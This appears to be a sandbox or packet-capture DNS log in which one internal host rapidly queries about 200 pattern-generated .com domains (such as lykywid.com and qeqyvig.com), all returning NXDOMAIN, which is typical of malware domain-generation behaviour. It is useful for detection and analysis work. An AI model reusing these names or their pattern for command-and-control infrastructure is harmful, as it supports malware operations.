Nov 11, 2024 18:50:42.955398083 CET	1.1.1.1	192.168.2.6	0xaa82	Name error (3)	pufyjuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.962117910 CET	1.1.1.1	192.168.2.6	0x956	Name error (3)	qeqyvig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.965176105 CET	1.1.1.1	192.168.2.6	0x49a8	Name error (3)	qexytep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.965455055 CET	1.1.1.1	192.168.2.6	0xe6ee	Name error (3)	gacypyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.970374107 CET	1.1.1.1	192.168.2.6	0x8386	Name error (3)	lykywid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.970706940 CET	1.1.1.1	192.168.2.6	0x1c4a	Name error (3)	lyrynad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.972506046 CET	1.1.1.1	192.168.2.6	0x65e7	Name error (3)	lygyjuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.100966930 CET	1.1.1.1	192.168.2.6	0xf27	Name error (3)	pujywiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.102901936 CET	1.1.1.1	192.168.2.6	0x6e82	Name error (3)	vopybok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.106515884 CET	1.1.1.1	192.168.2.6	0x1c4d	Name error (3)	vofymem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.106527090 CET	1.1.1.1	192.168.2.6	0xcb8b	Name error (3)	qebyteg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.109582901 CET	1.1.1.1	192.168.2.6	0xa1dd	Name error (3)	pupyboq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.110142946 CET	1.1.1.1	192.168.2.6	0x3fbc	Name error (3)	lyvyxyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.126447916 CET	1.1.1.1	192.168.2.6	0xc2c6	Name error (3)	ganypeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.135940075 CET	1.1.1.1	192.168.2.6	0xbb9	Name error (3)	qekykup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.142420053 CET	1.1.1.1	192.168.2.6	0x5283	Name error (3)	lyvytan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.151768923 CET	1.1.1.1	192.168.2.6	0x1527	Name error (3)	vonypyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.164088011 CET	1.1.1.1	192.168.2.6	0xc5fd	Name error (3)	vocyzek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.164387941 CET	1.1.1.1	192.168.2.6	0xa7ef	Name error (3)	lykyjux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.169253111 CET	1.1.1.1	192.168.2.6	0xf0a5	Name error (3)	lymyxex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.169264078 CET	1.1.1.1	192.168.2.6	0xa6b	Name error (3)	vocyrom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.171504021 CET	1.1.1.1	192.168.2.6	0xb6f6	Name error (3)	pujyjup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.171710968 CET	1.1.1.1	192.168.2.6	0xd308	Name error (3)	gatyfaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.172063112 CET	1.1.1.1	192.168.2.6	0x9f4f	Name error (3)	galykiz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.172072887 CET	1.1.1.1	192.168.2.6	0x7fa	Name error (3)	pumypyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.173027992 CET	1.1.1.1	192.168.2.6	0x7b43	Name error (3)	vojyjyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.176359892 CET	1.1.1.1	192.168.2.6	0x7a70	Name error (3)	vofygaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.176398039 CET	1.1.1.1	192.168.2.6	0x4118	Name error (3)	lygyged.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.177973032 CET	1.1.1.1	192.168.2.6	0x58bf	Name error (3)	gaqycyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.178251028 CET	1.1.1.1	192.168.2.6	0x7126	Name error (3)	pufygav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.179398060 CET	1.1.1.1	192.168.2.6	0xa5a3	Name error (3)	pumyxep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.192068100 CET	1.1.1.1	192.168.2.6	0x9d89	Name error (3)	lyryvur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.192078114 CET	1.1.1.1	192.168.2.6	0xf3f	Name error (3)	purycul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.193635941 CET	1.1.1.1	192.168.2.6	0x486	Name error (3)	volyquk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.194380999 CET	1.1.1.1	192.168.2.6	0xe39b	Name error (3)	galyquw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197357893 CET	1.1.1.1	192.168.2.6	0x5f69	Name error (3)	vowycut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197638988 CET	1.1.1.1	192.168.2.6	0x6f2a	Name error (3)	qetyvil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197657108 CET	1.1.1.1	192.168.2.6	0x7c6d	Name error (3)	qeqyxyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197937012 CET	1.1.1.1	192.168.2.6	0x2f1c	Name error (3)	lyxywij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.206269026 CET	1.1.1.1	192.168.2.6	0xc4b3	Name error (3)	gahyhys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.209325075 CET	1.1.1.1	192.168.2.6	0xfc64	Name error (3)	gacyroh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218818903 CET	1.1.1.1	192.168.2.6	0xd213	Name error (3)	puvytag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.219152927 CET	1.1.1.1	192.168.2.6	0x248	Name error (3)	qegyqug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.227983952 CET	1.1.1.1	192.168.2.6	0x3a4a	Name error (3)	lysyfin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.228164911 CET	1.1.1.1	192.168.2.6	0x74a5	Name error (3)	vonyzac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.228532076 CET	1.1.1.1	192.168.2.6	0x3192	Name error (3)	qegyhev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.228543043 CET	1.1.1.1	192.168.2.6	0xa5ca	Name error (3)	qedyfog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.228863001 CET	1.1.1.1	192.168.2.6	0x3409	Name error (3)	gadyfob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.229362965 CET	1.1.1.1	192.168.2.6	0x67c4	Name error (3)	pufymyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.229378939 CET	1.1.1.1	192.168.2.6	0x711e	Name error (3)	gadyneh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.230649948 CET	1.1.1.1	192.168.2.6	0xa433	Name error (3)	qexylal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.232594967 CET	1.1.1.1	192.168.2.6	0xb07b	Name error (3)	vowydic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.232606888 CET	1.1.1.1	192.168.2.6	0x4a29	Name error (3)	purydip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.232916117 CET	1.1.1.1	192.168.2.6	0xd17d	Name error (3)	gacyzaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.233689070 CET	1.1.1.1	192.168.2.6	0x31c6	Name error (3)	lyxylor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.234399080 CET	1.1.1.1	192.168.2.6	0xdf9e	Name error (3)	puzylol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.234409094 CET	1.1.1.1	192.168.2.6	0x6905	Name error (3)	gatyviw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.234720945 CET	1.1.1.1	192.168.2.6	0x904c	Name error (3)	qedynaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.234873056 CET	1.1.1.1	192.168.2.6	0x959f	Name error (3)	lymysud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.235025883 CET	1.1.1.1	192.168.2.6	0x3552	Name error (3)	lysynaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.248671055 CET	1.1.1.1	192.168.2.6	0x23d2	Name error (3)	lyryfox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.251173973 CET	1.1.1.1	192.168.2.6	0x691e	Name error (3)	qexyriq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.251332998 CET	1.1.1.1	192.168.2.6	0x6dbe	Name error (3)	qetyfop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.251954079 CET	1.1.1.1	192.168.2.6	0x80bb	Name error (3)	gahyqub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.251964092 CET	1.1.1.1	192.168.2.6	0xe880	Name error (3)	vojyquf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.253817081 CET	1.1.1.1	192.168.2.6	0x2d19	Name error (3)	gaqydus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.254549980 CET	1.1.1.1	192.168.2.6	0xe2eb	Name error (3)	qeqysuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.302390099 CET	1.1.1.1	192.168.2.6	0x44fc	Name error (3)	volykit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.303423882 CET	1.1.1.1	192.168.2.6	0xd277	Name error (3)	puvyxeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.425699949 CET	1.1.1.1	192.168.2.6	0xb3e5	Name error (3)	lygymyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.112588882 CET	1.1.1.1	192.168.2.6	0xdcf	Name error (3)	pupydig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.113267899 CET	1.1.1.1	192.168.2.6	0x47fb	Name error (3)	vocykif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.113312960 CET	1.1.1.1	192.168.2.6	0x47c0	Name error (3)	lygynox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.114712000 CET	1.1.1.1	192.168.2.6	0x925e	Name error (3)	puryxag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.114783049 CET	1.1.1.1	192.168.2.6	0xbd16	Name error (3)	pujymel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.114862919 CET	1.1.1.1	192.168.2.6	0x7287	Name error (3)	qexykug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115174055 CET	1.1.1.1	192.168.2.6	0x8bef	Name error (3)	gatyduh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115185022 CET	1.1.1.1	192.168.2.6	0xb26c	Name error (3)	qebylov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115461111 CET	1.1.1.1	192.168.2.6	0x91a7	Name error (3)	qekyqyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115487099 CET	1.1.1.1	192.168.2.6	0x58c7	Name error (3)	qetysuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115748882 CET	1.1.1.1	192.168.2.6	0x51c7	Name error (3)	gadyduz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115758896 CET	1.1.1.1	192.168.2.6	0x84ef	Name error (3)	lyvylod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.115850925 CET	1.1.1.1	192.168.2.6	0xea2f	Name error (3)	puvyliv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.116349936 CET	1.1.1.1	192.168.2.6	0x36f2	Name error (3)	vojymet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.116810083 CET	1.1.1.1	192.168.2.6	0xe71d	Name error (3)	gacykub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117441893 CET	1.1.1.1	192.168.2.6	0x1cf7	Name error (3)	vopydum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117453098 CET	1.1.1.1	192.168.2.6	0xe484	Name error (3)	qetyxeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117461920 CET	1.1.1.1	192.168.2.6	0x5e8d	Name error (3)	lymylij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117471933 CET	1.1.1.1	192.168.2.6	0x7201	Name error (3)	lyrysyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117486000 CET	1.1.1.1	192.168.2.6	0x6202	Name error (3)	vojygok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117496014 CET	1.1.1.1	192.168.2.6	0x7c01	Name error (3)	pufydul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117505074 CET	1.1.1.1	192.168.2.6	0x39c9	Name error (3)	gahynaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117515087 CET	1.1.1.1	192.168.2.6	0x288a	Name error (3)	qexyqyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117523909 CET	1.1.1.1	192.168.2.6	0x75cd	Name error (3)	lymytar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.117532969 CET	1.1.1.1	192.168.2.6	0x6470	Name error (3)	qebyrip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118015051 CET	1.1.1.1	192.168.2.6	0x4eb2	Name error (3)	vopycyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118025064 CET	1.1.1.1	192.168.2.6	0x8f7a	Name error (3)	pujygaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118035078 CET	1.1.1.1	192.168.2.6	0x7ebf	Name error (3)	lyxymed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118045092 CET	1.1.1.1	192.168.2.6	0x174a	Name error (3)	qeqytal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118060112 CET	1.1.1.1	192.168.2.6	0x1836	Name error (3)	gadyvis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118068933 CET	1.1.1.1	192.168.2.6	0x28a	Name error (3)	puvywup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118078947 CET	1.1.1.1	192.168.2.6	0x5e6b	Name error (3)	pupycuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118942976 CET	1.1.1.1	192.168.2.6	0x8fb6	Name error (3)	gaqypew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118952990 CET	1.1.1.1	192.168.2.6	0x47ed	Name error (3)	lykygaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.118962049 CET	1.1.1.1	192.168.2.6	0xa0c4	Name error (3)	vofybic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.119601965 CET	1.1.1.1	192.168.2.6	0xf75e	Name error (3)	qegyfil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.119618893 CET	1.1.1.1	192.168.2.6	0xcd96	Name error (3)	ganyriz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.119837999 CET	1.1.1.1	192.168.2.6	0x7a4a	Name error (3)	pumytol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.119848013 CET	1.1.1.1	192.168.2.6	0x1a46	Name error (3)	qeqyloq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.120868921 CET	1.1.1.1	192.168.2.6	0x6c4a	Name error (3)	volyjym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.125905037 CET	1.1.1.1	192.168.2.6	0x197	Name error (3)	gacyqys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.126437902 CET	1.1.1.1	192.168.2.6	0xf3cf	Name error (3)	pufybop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.128674030 CET	1.1.1.1	192.168.2.6	0xbf77	Name error (3)	purypyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.136225939 CET	1.1.1.1	192.168.2.6	0x6b18	Name error (3)	lykymyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.137476921 CET	1.1.1.1	192.168.2.6	0x5176	Name error (3)	ganyzas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.137490034 CET	1.1.1.1	192.168.2.6	0xa46f	Name error (3)	vowypek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138312101 CET	1.1.1.1	192.168.2.6	0x74d1	Name error (3)	qegynap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138323069 CET	1.1.1.1	192.168.2.6	0xdaea	Name error (3)	puzymev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138334990 CET	1.1.1.1	192.168.2.6	0xab76	Name error (3)	gaqyzoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138613939 CET	1.1.1.1	192.168.2.6	0xf737	Name error (3)	lyryxen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138667107 CET	1.1.1.1	192.168.2.6	0xd614	Name error (3)	lyvywux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.138676882 CET	1.1.1.1	192.168.2.6	0x328b	Name error (3)	vowyzam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141021967 CET	1.1.1.1	192.168.2.6	0x6975	Name error (3)	lygyfir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141032934 CET	1.1.1.1	192.168.2.6	0x7860	Name error (3)	vocyquc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141043901 CET	1.1.1.1	192.168.2.6	0xb9fa	Name error (3)	lysyvud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141052961 CET	1.1.1.1	192.168.2.6	0x6ca5	Name error (3)	gahyfow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141063929 CET	1.1.1.1	192.168.2.6	0xc196	Name error (3)	puzyjyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141078949 CET	1.1.1.1	192.168.2.6	0xc17f	Name error (3)	gatycyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141089916 CET	1.1.1.1	192.168.2.6	0xbea1	Name error (3)	vofydut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141100883 CET	1.1.1.1	192.168.2.6	0xa354	Name error (3)	lyxyjun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141112089 CET	1.1.1.1	192.168.2.6	0x5fe1	Name error (3)	vonyrot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141122103 CET	1.1.1.1	192.168.2.6	0x5c0c	Name error (3)	qedyvuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.141758919 CET	1.1.1.1	192.168.2.6	0x2c29	Name error (3)	qekyheq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.142385006 CET	1.1.1.1	192.168.2.6	0xf229	Name error (3)	galyheh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.551462889 CET	1.1.1.1	192.168.2.6	0x884b	Name error (3)	vonykuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.565393925 CET	1.1.1.1	192.168.2.6	0xc9a2	Name error (3)	qegyvuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.569159031 CET	1.1.1.1	192.168.2.6	0x6f63	Name error (3)	volymaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.575354099 CET	1.1.1.1	192.168.2.6	0xb6f4	Name error (3)	vojybim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.575969934 CET	1.1.1.1	192.168.2.6	0x4651	Name error (3)	pumyliq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.578242064 CET	1.1.1.1	192.168.2.6	0x9c1f	Name error (3)	gacyhez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.578380108 CET	1.1.1.1	192.168.2.6	0x9663	Name error (3)	gaqyrib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.579567909 CET	1.1.1.1	192.168.2.6	0x6d92	Name error (3)	lysysyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.579581022 CET	1.1.1.1	192.168.2.6	0xf14d	Name error (3)	lyvyjyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.579859018 CET	1.1.1.1	192.168.2.6	0x378e	Name error (3)	gatypas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.579910040 CET	1.1.1.1	192.168.2.6	0x6992	Name error (3)	lyrytod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.581923008 CET	1.1.1.1	192.168.2.6	0x4465	Name error (3)	vowyrif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.585458994 CET	1.1.1.1	192.168.2.6	0xdf2d	Name error (3)	qekynog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.595086098 CET	1.1.1.1	192.168.2.6	0x32b6	Name error (3)	qedysyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.595226049 CET	1.1.1.1	192.168.2.6	0x6d5f	Name error (3)	galynab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.613799095 CET	1.1.1.1	192.168.2.6	0x274d	Name error (3)	pujybig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.613895893 CET	1.1.1.1	192.168.2.6	0xea40	Name error (3)	qeqyrug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.613917112 CET	1.1.1.1	192.168.2.6	0xae38	Name error (3)	vofycyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.617629051 CET	1.1.1.1	192.168.2.6	0xe888	Name error (3)	gadycew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.618611097 CET	1.1.1.1	192.168.2.6	0xef88	Name error (3)	puvyjyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.618675947 CET	1.1.1.1	192.168.2.6	0x4411	Name error (3)	purytov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.618685961 CET	1.1.1.1	192.168.2.6	0x5f41	Name error (3)	qexyhap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.618729115 CET	1.1.1.1	192.168.2.6	0xaf71	Name error (3)	pufypeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619357109 CET	1.1.1.1	192.168.2.6	0x6032	Name error (3)	puzygop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619368076 CET	1.1.1.1	192.168.2.6	0x920b	Name error (3)	lyxygax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619379997 CET	1.1.1.1	192.168.2.6	0x1693	Name error (3)	gaqykus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619427919 CET	1.1.1.1	192.168.2.6	0x4b6a	Name error (3)	pufycyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619729996 CET	1.1.1.1	192.168.2.6	0xf4dd	Name error (3)	vocyjet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.619739056 CET	1.1.1.1	192.168.2.6	0x42ab	Name error (3)	qexynol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.622447968 CET	1.1.1.1	192.168.2.6	0x8eb0	Name error (3)	pupypep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.622461081 CET	1.1.1.1	192.168.2.6	0x1e8f	Name error (3)	qetytav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.622471094 CET	1.1.1.1	192.168.2.6	0xd71d	Name error (3)	qebykul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.623500109 CET	1.1.1.1	192.168.2.6	0xd6d5	Name error (3)	volygoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.626538038 CET	1.1.1.1	192.168.2.6	0xa73f	Name error (3)	gahyvuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.634839058 CET	1.1.1.1	192.168.2.6	0x8268	Name error (3)	lygysen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.636173964 CET	1.1.1.1	192.168.2.6	0xbbb6	Name error (3)	purylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.638561010 CET	1.1.1.1	192.168.2.6	0x26d5	Name error (3)	vowykuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.640043974 CET	1.1.1.1	192.168.2.6	0xf305	Name error (3)	lykynon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.640464067 CET	1.1.1.1	192.168.2.6	0x18d4	Name error (3)	vopypec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.642050028 CET	1.1.1.1	192.168.2.6	0xcfcc	Name error (3)	ganykuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.647249937 CET	1.1.1.1	192.168.2.6	0x1562	Name error (3)	qebyqeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.651854038 CET	1.1.1.1	192.168.2.6	0x1bcb	Name error (3)	ganyqyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652807951 CET	1.1.1.1	192.168.2.6	0x5fa5	Name error (3)	vonyqym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652822971 CET	1.1.1.1	192.168.2.6	0xe43b	Name error (3)	lymywun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652857065 CET	1.1.1.1	192.168.2.6	0xc014	Name error (3)	lyrylix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.654534101 CET	1.1.1.1	192.168.2.6	0x9d4b	Name error (3)	galyfis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.656163931 CET	1.1.1.1	192.168.2.6	0xcf9d	Name error (3)	vopyzot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.656177044 CET	1.1.1.1	192.168.2.6	0x89e	Name error (3)	gatyzoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.656224012 CET	1.1.1.1	192.168.2.6	0x8e05	Name error (3)	puvymaq.com	none	none	A (IP address)	IN (0x0001)	false
